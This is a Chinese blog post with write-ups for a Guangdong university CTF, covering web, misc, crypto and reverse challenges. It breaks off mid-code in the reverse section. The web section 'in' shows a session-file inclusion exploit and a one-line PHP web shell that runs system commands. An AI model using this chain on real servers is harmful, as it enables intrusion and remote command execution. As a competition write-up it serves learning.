广东大学生网络安全攻防大赛CTF部分WP

vFREE
2022-07-27 / 0 评论 / 13 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2022年07月27日,已超过20天没有更新,若内容或图片失效,请留言反馈。
三人行,除我皆是大佬,第一次参加这个比赛,个人感觉难度还算是适中,简单分享一下对这些题目的个人见解,这次只做出了5题(I'm So Vegetables),还有一题另外一个师傅在比赛结束后才做出来

WEB

easy_ctf

这题刚开始以为把给出的字符数量进行排序就行了,发现排序完成提交后,没有任何回显,这里就突然想到了会不会是有时间要求,写了脚本提交上去后,回显了flag,简单写了一个脚本,看看就好了

import requests,re
s = requests.Session()
url = 'http://120.79.xxx.xxx:42727/'
re_rules = r'<td style="WORD-WRAP: break-word" width="1600">([\s\S]*)<td>'
response = s.get(url)
strs = re.findall(re_rules,response.text)
strs = strs[-1].replace('\r\n','')
resoult = {}
for i in strs:
    resoult[i] = strs.count(i)
# print(resoult)
sorted_dict = sorted(resoult.items(), key=lambda kv: kv[1])
flag = []
for i in sorted_dict:
    flag.append(i[0])
s1 = ''.join(flag)
data = {
    'ans':s1
}
response1 = s.post(url,data=data)
print(response1.text)

in

这道题刚开始以为是很简单的文件包含,后面发现确实很简单,没有任何字符过滤,主要是考察session文件包含,通过写入木马,访问session文件,从而达到getshell的效果

在这里输入内容后,会跳转到另外一个页面,这时候的url变成了 action.php?file=xxx,通过这个url确定是文件包含,接下来使用php伪协议读取一下首页php文件和action.php

输入url

php://filter/read/convert.base64-encode/resource=./action.php

得到了

将其解码出来后

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
  $_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

到这里基本就可以确定是session文件包含,既然session内容可控,那就可以直接传入恶意代码,比如构造一个phpinfo(),也就是在please input your name下面的框写入一个<?php phpinfo();?>传进去,然后通过访问session的默认路径+sess_PHPSESSID就可以被执行了

同时查看我们的PHPSESSID,通过F12的"网络-cookie-PHPSESSID"那里,取得sessid,这里测试出来的session文件的路径是/tmp,所以直接访问?file=/tmp/sess_xxxxxxxxxxxx就可以执行了,执行成功后,会返回phpinfo的信息,这里就直接传入

<?php file_put_contents('vfree.php','<?php system($_GET["vfree"]);?>');?>

完成后,直接访问这个文件就可以getshell了,flag文件是/fl444444444g,最后直接cat /fl444444444g就可以得到flag了

misc

签到

关注公众号发送"我来签到了"就有了

flag{shifujiayou}
复合

下载文件下来,发现是数据包格式,我们使用wireshark打开,经过分析,数据包里面有很多文件,我们使用wireshark导出里面的所有文件

导出的文件很多,我们查看一些关键的进行查看,先识别其正确的格式。

发现一个flaggggggg.exe文件,我们将其改为zip文件打开,发现里面两个空白文件,分析其他四个文件,将WordDocument使用记事本打开,发现一个key,这个后面有用。

经过分析,发现一个pass.md文件为zip文件,但其缺少zip文件头,我们添加50 4B,然后改为zip打开,打开发现一个文件

解压后我们使用记事本打开,发现一些有规律的编码,我们使用Quoted-printable解码,解码为utf8编码,解码后发现一段文字

分析为维吉尼亚加密,我们在解密网站解密,使用前面获取的key:everything解密,得到FLAG。

crypto

crypto-xor2

这题是另外一个师傅做的,直接上脚本去破解key值,已知前四位是flag,所以可以直接枚举出剩下的字符

data = open('cipher').read()
flag = ''
for j in range(97,122):

    for i, c in enumerate(data):
        key = f'xxx{chr(j)}'
        flag += chr(ord(c) ^ ord(key[i%4]))
    #print(chr(j),flag)
    if flag[0:4] == 'flag':
        print(flag)
    flag = ''

Reverse

pyre

根据题目就大概知道是python打包成exe的,所以直接使用pyinstxtractor工具进行逆向,逆向出来后会得到一个pyc的文件,如果没有pyc文件,就需要通过winhex或者其他的进制工具修改文件头,我用的pyinstxtractor可以直接导出来pyc文件,所以这里不做其他修改文件头的操作,得到pyc文件后,放到反编译网站进行编译,这里推荐 python反编译 - 在线工具 (tool.lu)

反编译出来的结果:

def check():
    a = input('plz input your flag:')
    c = [
0

评论 (0)

取消